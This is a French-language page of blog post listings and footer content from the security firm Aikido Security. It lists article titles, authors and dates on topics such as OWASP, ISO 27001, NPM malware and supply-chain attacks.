Félix Garriau

Liste de contrôle d'Aikido pour la sécurité des CTO SaaS en 2024

Actualités
10 août 2023
En savoir plus
Par
Félix Garriau

15 défis majeurs en matière de sécurité de l'informatique en nuage et du code révélés par les directeurs techniques

Ingénierie
25 juillet 2023
En savoir plus
Par
Willem Delbare

Qu'est-ce que le Top 10 de l'OWASP ?

Guides
12 juillet 2023
En savoir plus
Par
Willem Delbare

Comment créer un panneau d'administration sécurisé pour votre application SaaS ?

Guides
11 juillet 2023
En savoir plus
Par
Roeland Delrue

Comment se préparer à la norme ISO 27001:2022

Guides
5 juillet 2023
En savoir plus
Par
Willem Delbare

Prévenir les retombées d'un piratage de votre plateforme CI/CD

Guides
19 juin 2023
En savoir plus
Par
Félix Garriau

Comment conclure des contrats plus rapidement grâce à un rapport d'évaluation de la sécurité

Actualités
12 juin 2023
En savoir plus
Par
Willem Delbare

Automatiser la gestion des vulnérabilités techniques [SOC 2]

Guides
5 juin 2023
En savoir plus
Par
Willem Delbare

Prévenir la pollution des prototypes dans votre référentiel

Guides
1er juin 2023
En savoir plus
Par
Willem Delbare

Comment le directeur technique d'une startup SaaS peut-il concilier vitesse de développement et sécurité ?

Guides
16 mai 2023
En savoir plus
Par
Willem Delbare

Comment le cloud d'une startup a été pris en charge par un simple formulaire d'envoi de courriels

Ingénierie
10 avril 2023
En savoir plus
Par
Félix Garriau

Aikido Security lève 2 millions d'euros pour créer une plateforme de sécurité logicielle destinée aux développeurs.

Actualités
19 janvier 2023
En savoir plus
Par

L'importance des Lockfiles pour la sécurité de la chaîne d'approvisionnement

En savoir plus
Le guide de rencontre des logiciels malveillants : Comprendre les types de logiciels malveillants sur NPM
Par
Charlie Eriksen

Le guide de rencontre des logiciels malveillants : Comprendre les types de logiciels malveillants sur NPM

Logiciels malveillants
31 mars 2025
Aikido rejoint le réseau de partenaires AWS
Par
Johan De Keulenaer

Aikido rejoint le réseau de partenaires AWS

Actualités
11 février 2025
Attaque de la chaîne d'approvisionnement XRP : Le paquet officiel du NPM est infecté par une porte dérobée qui vole de la crypto-monnaie.
Par
Charlie Eriksen

Attaque de la chaîne d'approvisionnement XRP : Le paquet officiel du NPM est infecté par une porte dérobée qui vole de la crypto-monnaie.

31 mars 2025

La sécurité en 32 secondes

Connectez votre compte GitHub, GitLab, Bitbucket ou Azure DevOps pour commencer à analyser vos repos gratuitement.

Essai gratuit
Vos données ne seront pas partagées - Accès en lecture seule
Tableau de bord de l'aïkido
Entreprise
ProduitTarifsA proposCarrièresContactPartenariat avec nous
Ressources
DocsDocuments de l'API publiqueBase de données des vulnérabilitésBlogIntégrationsGlossaireDossier de presseAvis des clients
Sécurité
Trust CenterAperçu de la sécuritéModifier les préférences en matière de cookies
Juridique
Politique de confidentialitéPolitique en matière de cookiesConditions d'utilisationAccord-cadre de souscriptionAccord sur le traitement des données
Cas d'utilisation
ConformitéDAST &AMP; DASTSGAAGestion de la vulnérabilitéGénérer des SBOMSécurité de WordPressSécurisez votre code
Industries
HealthTechMedTechFinTechSecurityTechLegalTechHRTechPour les agencesPour les entreprisesPrivate Equity et sociétés de groupe
Comparer
vs Tous les vendeursvs Snykvs Wizvs Mendvs Orca Securityvs Veracodevs GitHub Advanced Securityvs GitLab Ultimatevs Checkmarxvs Semgrepvs SonarQube
Contact
hello@aikido.dev
LinkedInX
S'abonner
Restez informé(e) de toutes les mises à jour
Nous n'en sommes pas encore là.
👋🏻 Merci ! Vous avez été abonné.
L'équipe Aikido
Nous n'en sommes pas encore là.
© 2025 Aikido Security BV | BE0792914919
🇪🇺 Adresse du siège social : Coupure Rechts 88, 9000, Gand, Belgique
🇪🇺 Adresse du bureau : Gebroeders van Eyckstraat 2, 9000, Gand, Belgique
🇺🇸 Adresse du bureau : 95 Third St, 2nd Fl, San Francisco, CA 94103, US
SOC 2
Conforme
ISO 27001
Conforme